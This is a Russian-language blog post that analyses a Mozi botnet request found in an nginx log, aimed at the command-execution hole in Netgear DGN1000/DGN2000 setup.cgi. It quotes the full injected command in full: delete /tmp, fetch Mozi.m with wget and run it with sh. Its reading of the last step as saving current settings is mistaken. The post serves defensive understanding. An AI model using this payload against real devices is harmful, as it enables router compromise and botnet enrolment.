Категория: Разработка Теги: Уязвимости Опубликовано: 26 апреля 2023

Что за атака GET /setup.cgi?next_file=netgear.cfg& todo=syscmd& cmd=rm+-rf+/tmp/*;wget+

Начнем с того, что я нашел в логе nginx такую запись (IP-адреса изменены, сайт не этот):

2023/04/14 10:57:16 [error] 389933#389933: *1507583 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 91.234.62.225, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"

Что пытался сделать злоумышленник?

Безусловно, этот запрос направлен не вручную, а из специальной программы или подготовленного скрипта / бота, но управляет этим человек, поэтому для упрощения я буду говорить именно про этого злоумышленника.

Разберём HTTP-запрос

Строка failed (2: No such file or directory) говорит о том, что запрашиваемый файл не существует и соответственно ему вернулся статус 404. На самом деле, сам по себе статус 404 не означает, что вектор атаки не сработал - тут нужно повторить запрос и посмотреть, не добавилось ли что-то лишнее в запрос, а в случае со слепыми XSS (Blind XSS) вектор атаки может сработать не в том месте, где ввели команду.

IP-адрес злоумышленника 91.234.62.225 и он принадлежит Интернет-провайдеру Inko-Telecom LLC, который находится в Луховицы, Московской области.

Сам запрос "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" показывает, что он хотел проэксплуатировать setup.cgi с вредоносной нагрузкой в параметрах.

Командой syscmd&cmd=rm+-rf+/tmp/*; он хочет удалить всё содержимое каталога /tmp/*.

Далее он командой wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear; пытается получить содержимое адреса и сохранить его в папку /tmp/netgear.

Теперь sh+netgear&curpath=/&currentsetting.htm он хочет получить текущие настройки и сохранить их в текущем каталоге для того, чтобы файл currentsetting.htm был доступен при http запросе.

По данным CleanTalk с данного IP-адреса не было рассылки спама по формам на веб-сайтах.

В базе AbuseIPDB указано, что данного уже было более 278 атак на другие сайты.

Технические детали

Очевидно, что злоумышленник хотел проэксплуатировать уязвимость в Netgear DGN1000 версий до 1.1.00.48 и DGN2000v1. Данная уязвимость позволяет удаленным злоумышленникам удаленно выполнить код при передачи их в параметрах через файл setup.cgi.

Для этой уязвимости в открытом доступе опубликованы эксплоиты, позволяющие удаленно выполнять команды.

Как защитить веб-сервер?

Немного информации

Скорее всего злоумышленник выполнял сканирование веб-приложения на наличие уязвимостей, используя инструменты для автоматического сканирования уязвимостей.

Любой админ скажет, что реагировать на такие записи в журнале не нужно, но любой опытный пентестер скажет, что реагировать на такие записи в журнале нужно!

Автоматические сканирования на наличие уязвимостей веб-серверов ботами со всего мира - это не просто неприятное явление, но и серьезная угроза для безопасности веб-сервера. Согласно отчету, опубликованному в 2019 году, боты составляют около 37,2% всего трафика Интернета, и это число продолжает расти. Боты, сканирующие веб-серверы, могут искать уязвимости, которые можно использовать для получения несанкционированного доступа к серверу или к данным, которые он содержит.

Теперь скажите честно, последней ли версии у вас всё ПО и библиотеки как на веб-сервере, так и в самом сайте? Уверен, что у большинства будут далеко не последние версии, так как при обновлении много придется настраивать заново. Пора задуматься и понять, что риск не равен нулю.

С чего начинается атака хакера или пентестера на веб-сервер?

Первым этапом является именно OSINT, но если упростить, то сначала ему нужно собрать информацию. Все прочие виды атак мы опустим, так как тут речь идет о конкретной. В данном случае, злоумышленник собирает информацию о сайте и сервере из открытых источников.

Далее через кучу прокси-серверов сканирует сервер на наличие уязвимостей. При таком сканировании на сервер отправляет множество запросов, но фишка в том, что он использует целый пул прокси-серверов, поэтому каждый 1-2 запроса выполняются с разных IP-адресов. Однако, при частых сканированиях они все будут присутствовать в спам базах.

Если его сканер найдет уязвимость, тогда злоумышленник уже сам будет производить атаку, хотя некоторые так называемые сканирования выполняли через пентестерский фреймворк metasploit методом check.